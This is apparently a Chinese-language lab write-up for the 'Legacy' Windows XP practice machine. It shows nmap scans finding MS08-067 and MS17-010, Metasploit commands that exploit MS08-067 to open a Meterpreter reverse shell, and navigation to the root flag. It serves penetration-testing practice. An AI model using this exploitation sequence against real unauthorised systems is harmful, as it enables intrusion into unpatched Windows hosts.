Please enable Javascript to view the contents

Legacy 练习记录

 ·  ☕ 2 分钟  ·  ✍️ IceKam · 👀... 阅读

环境介绍:

名称:Legacy

系统:Windows

信息搜集

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
$ sudo nmap -sV -O -F --version-light 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2
Nmap scan report for 10.10.10.4
Host is up (0.44s latency).
Not shown: 97 filtered ports
PORT     STATE  SERVICE       VERSION
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open   microsoft-ds  Microsoft Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Device type: general purpose|specialized
Running (JUST GUESSING): Microsoft Windows XP|2003|2000|2008 (92%), General Dynamics embedded (89%)
OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_server_2003 cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_server_2008::sp2
Aggressive OS guesses: Microsoft Windows XP SP2 or Windows Small Business Server 2003 (92%), Microsoft Windows 2000 SP4 or Windows XP SP2 or SP3 (92%), Microsoft Windows XP SP2 (92%), Microsoft Windows Server 2003 (90%), Microsoft Windows XP SP3 (90%), Microsoft Windows 2000 SP4 (90%), Microsoft Windows XP Professional SP3 (90%), Microsoft Windows XP SP2 or SP3 (90%), Microsoft Windows XP Professional SP2 (90%), Microsoft Windows XP SP2 or Windows Server 2003 (90%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.71 seconds   
  • 这里可以看出1394453389开放。

漏洞枚举

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
$ sudo nmap -p 445 --script vuln 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 
Nmap scan report for 10.10.10.4
Host is up (0.55s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
|_clamav-exec: ERROR: Script execution failed (use -d to debug)

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 34.42 seconds
  • 这里采用nmap直接枚举,发现目标有多个漏洞,其中ms08-067比较好利用。

漏洞利用

1
2
3
4
5
6
msf5 > search ms08-067
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption
msf5 > use exploit/windows/smb/ms08_067_netapi
msf5 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 10.10.10.4
msf5 exploit(windows/smb/ms08_067_netapi) > run
[*] Meterpreter session 1 opened (10.10.16.54:4444 -> 10.10.10.4:1028) at 
  • 反弹成功,直接找flag。

flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
meterpreter > search -f root.txtFound 1 result...
c:\Documents and Settings\Administrator\Desktop\root.txt (32 bytes)
cd ../
cd ../
cd ../
meterpreter > pwd
C:\
meterpreter > cd Documents\ and\ Settings
Listing: C:\Documents and Settings
==================================

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40777/rwxrwxrwx  0     dir   2017-03-16 14:07:20 +0800  Administrator
40777/rwxrwxrwx  0     dir   2017-03-16 13:20:29 +0800  All Users
40777/rwxrwxrwx  0     dir   2017-03-16 13:20:29 +0800  Default User
40777/rwxrwxrwx  0     dir   2017-03-16 13:32:52 +0800  LocalService
40777/rwxrwxrwx  0     dir   2017-03-16 13:32:42 +0800  NetworkService
40777/rwxrwxrwx  0     dir   2017-03-16 13:33:41 +0800  john

meterpreter > cd Administrator
meterpreter > ls
Listing: C:\Documents and Settings\Administrator
================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40555/r-xr-xr-x   0       dir   2017-03-16 14:07:20 +0800  Application Data
40777/rwxrwxrwx   0       dir   2017-03-16 14:07:20 +0800  Cookies
40777/rwxrwxrwx   0       dir   2017-03-16 14:07:20 +0800  Desktop
40555/r-xr-xr-x   0       dir   2017-03-16 14:07:20 +0800  Favorites
40777/rwxrwxrwx   0       dir   2017-03-16 14:07:20 +0800  Local Settings
40555/r-xr-xr-x   0       dir   2017-03-16 14:07:20 +0800  My Documents
100666/rw-rw-rw-  524288  fil   2017-03-16 14:07:20 +0800  NTUSER.DAT
100666/rw-rw-rw-  1024    fil   2017-03-16 14:07:20 +0800  NTUSER.DAT.LOG
40777/rwxrwxrwx   0       dir   2017-03-16 14:07:20 +0800  NetHood
40777/rwxrwxrwx   0       dir   2017-03-16 14:07:20 +0800  PrintHood
40555/r-xr-xr-x   0       dir   2017-03-16 14:07:20 +0800  Recent
40555/r-xr-xr-x   0       dir   2017-03-16 14:07:20 +0800  SendTo
40555/r-xr-xr-x   0       dir   2017-03-16 14:07:20 +0800  Start Menu
40777/rwxrwxrwx   0       dir   2017-03-16 14:07:20 +0800  Templates
100666/rw-rw-rw-  178     fil   2017-03-16 14:07:21 +0800  ntuser.ini

meterpreter > cd Desktop
meterpreter > ls
Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  32    fil   2017-03-16 14:18:19 +0800  root.txt

meterpreter > cat root.txt
  • 注意Windows换目录空格需要转义\

心得

很基础,不过对于我这种windows比较弱的还是有一定提升的。

分享
您的鼓励是我最大的动力
bitcoin QR Code

icekam
作者
IceKam
茶艺品鉴砖家,低端码字人口。